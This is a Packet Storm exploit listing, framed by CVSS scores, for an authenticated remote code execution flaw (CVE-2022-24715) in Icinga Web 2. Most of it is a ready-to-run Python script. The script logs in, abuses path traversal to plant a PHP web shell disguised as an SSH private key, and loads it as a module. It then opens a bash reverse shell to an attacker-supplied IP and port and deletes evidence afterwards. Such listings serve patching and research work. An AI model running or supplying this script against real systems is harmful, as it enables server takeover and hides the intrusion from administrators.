Lucene search

K
packetstormDante CoronaPACKETSTORM:173516
HistoryJul 17, 2023 - 12:00 a.m.

Icinga Web 2.10 Remote Code Execution

2023-07-1700:00:00
Dante Corona
packetstormsecurity.com
90

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

41.6%

`#!/usr/bin/env python3  
  
# Exploit Title: Icinga Web 2.10 - Authenticated Remote Code Execution   
# Date: 8/07/2023  
# Exploit Author: Dante Corona(Aka. cxdxnt)  
# Software Link: https://github.com/Icinga/icingaweb2  
# Vendor Homepage: https://icinga.com/  
# Software Link: https://github.com/Icinga/icingaweb2  
# Version: <2.8.6, <2.9.6, <2.10  
# Tested on: Icinga Web 2 Version 2.9.2 on Linux  
# CVE: CVE-2022-24715  
# Based on: https://nvd.nist.gov/vuln/detail/CVE-2022-24715  
  
import requests,argparse,re,random,string  
from colorama import Fore,Style  
  
def letter_random():  
letras = string.ascii_lowercase  
character_random = random.choices(letras, k=6)  
return ''.join(character_random)  
  
  
def users_url_password():  
parser = argparse.ArgumentParser(description='Descripciรณn de tu programa.')  
parser.add_argument('-u', '--url',type=str,required=True, help='Insertar la URL http://ip_victima')  
parser.add_argument('-U', '--user',type=str, required=True ,help='Insertar usuario -U user')  
parser.add_argument('-P', '--password',type=str, required=True ,help='Insertar contraseรฑa -P password')  
parser.add_argument('-i', '--ip',type=str,required=True,help='Insertar IP de atacante -i IP')  
parser.add_argument('-p','--port',type=str, required=True,help='Insertar puerto de atacante -p PORT')  
args = parser.parse_args()  
url = args.url  
user = args.user  
password=args.password  
ip_attack = args.ip   
port_attack = args.port  
  
return url,user,password,ip_attack,port_attack  
  
def login(url,user,password):  
try:  
login_url = url + "/icingaweb2/authentication/login"  
session = requests.Session()  
r = session.get(login_url)  
csrf_regex = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]  
data_post = {"username":user,  
"password":password,  
"CSRFToken":csrf_regex,  
"formUID":"form_login",  
"btn_submit":"Login"  
}  
response = session.post(login_url,data=data_post)  
if "Welcome to Icinga Web!" in response.text:  
print(f"{Fore.GREEN}[*]{Style.RESET_ALL}Session successfully.")  
r = session.get(login_url)  
else:  
print("[!]Failed to login.")  
exit(1)  
#return session,csrf_regex   
except requests.exceptions.InvalidURL:  
print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} Error URL :(")  
exit(1)  
return session,csrf_regex  
  
def upload_file(session,url,character_random,csrf_regex):  
webshell = f"""-----BEGIN RSA PRIVATE KEY-----  
MIIBOgIBAAJBAKj34GkxFhD90vcNLYLInFEX6Ppy1tPf9Cnzj4p4WGeKLs1Pt8Qu  
KUpRKfFLfRYC9AIKjbJTWit+CqvjWYzvQwECAwEAAQJAIJLixBy2qpFoS4DSmoEm  
o3qGy0t6z09AIJtH+5OeRV1be+N4cDYJKffGzDa88vQENZiRm0GRq6a+HPGQMd2k  
TQIhAKMSvzIBnni7ot/OSie2TmJLY4SwTQAevXysE2RbFDYdAiEBCUEaRQnMnbp7  
9mxDXDf6AU0cN/RPBjb9qSHDcWZHGzUCIG2Es59z8ugGrDY+pxLQnwfotadxd+Uy  
v/Ow5T0q5gIJAiEAyS4RaI9YG8EWx/2w0T67ZUVAw8eOMB6BIUg0Xcu+3okCIBOs  
/5OiPgoTdSy7bcF9IGpSE8ZgGKzgYQVZeN97YE00  
-----END RSA PRIVATE KEY-----  
<?php system($_REQUEST["%s"]);?>  
"""%character_random  
upload_url = url + "/icingaweb2/config/createresource"  
r = session.get(upload_url)  
csrf = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]  
data_post ={"type":"ssh",  
"name":"shm/"+character_random,  
"user":f"../../../../../../../../../../../dev/shm/{character_random}/run.php",  
"private_key":webshell,  
"formUID":"form_config_resource",  
"CSRFToken":csrf,  
"btn_submit":"Save Changes"  
}  
upload_response = session.post(upload_url,data=data_post)  
check = requests.get(url + f"/icingaweb2/lib/icinga/icinga-php-thirdparty/dev/shm/{character_random}/run.php")  
if check.status_code != 200 :  
print(f"{Fore.YELLOW}[!]{Style.RESET_ALL}Error uploading file. :(")  
exit(1)  
else:  
print(f"{Fore.GREEN}[*]{Style.RESET_ALL}File uploaded successfully.")  
  
def enable_module(session,url,character_random):  
url_module = url+"/icingaweb2/config/general"  
r_module = session.get(url_module)  
csrf_module = re.findall(r'name="CSRFToken" value="([^"]*)"',r_module.text)[0]  
data_post = {"global_show_stacktraces":"0",  
"global_show_stacktraces":"1",  
"global_show_application_state_messages":"0",  
"global_show_application_state_messages":"1",  
"global_module_path":"/dev/shm/",  
"global_config_resource":"icingaweb2",  
"logging_log":"none",  
"themes_default":"Icinga",  
"themes_disabled":"0",  
"authentication_default_domain":"",  
"formUID":"form_config_general",  
"CSRFToken":f"{csrf_module}",  
"btn_submit":"Save Changes"  
}  
  
resul = session.post(url_module,data_post)  
#--------------------------------------------------  
url_enable = url +"/icingaweb2/config/moduleenable"  
r_enable = session.get(url_enable)  
csrf_enable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_enable.text)[0]  
data_enable = {"identifier":f"{character_random}","CSRFToken":f"{csrf_enable}","btn_submit":"btn_submit"}  
resul_enable = session.post(url_enable,data_enable)  
  
  
def reverse_shell(session,url,ip_attack,port_attack,character_random):  
reverse_url = url + "/icingaweb2/dashboard"  
reverse_exe_one = reverse_url + f'?{character_random}=echo+"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{ip_attack}%2F{port_attack}%200%3E%261"+>+/tmp/{character_random}'  
reverse_exe_two = reverse_url + f"?{character_random}=bash+/tmp/{character_random} &"  
reverse_response_one = session.get(reverse_exe_one)  
try:  
reverse_response_two = session.get(reverse_exe_two, timeout=5)  
except:  
print(f"{Fore.RED}[*]{Style.RESET_ALL}Eliminating evidence")  
  
remove = session.get(reverse_url + f"?{character_random}=rm+/tmp/{character_random}")  
disable_url = url + "/icingaweb2/config/moduledisable"  
r_disable = session.get(disable_url)  
csrf_disable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_disable.text)[0]  
data_disable = {"identifier":f"{character_random}","CSRFToken":csrf_disable,"btn_submit":"btn_submit"}  
response_disable = session.post(disable_url,data=data_disable)  
  
  
  
def disable_module(session,url,character_random):  
url_disable = url + "/icingaweb2/config/moduledisable"  
  
  
  
if __name__ == '__main__':  
character_random = letter_random()  
url,user,password,ip_attack,port_attack = users_url_password()  
session,csrf_regex = login(url,user,password)   
upload_file(session,url,character_random,csrf_regex)  
enable_module(session,url,character_random)  
reverse_shell(session,url,ip_attack,port_attack,character_random)  
  
  
`

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

41.6%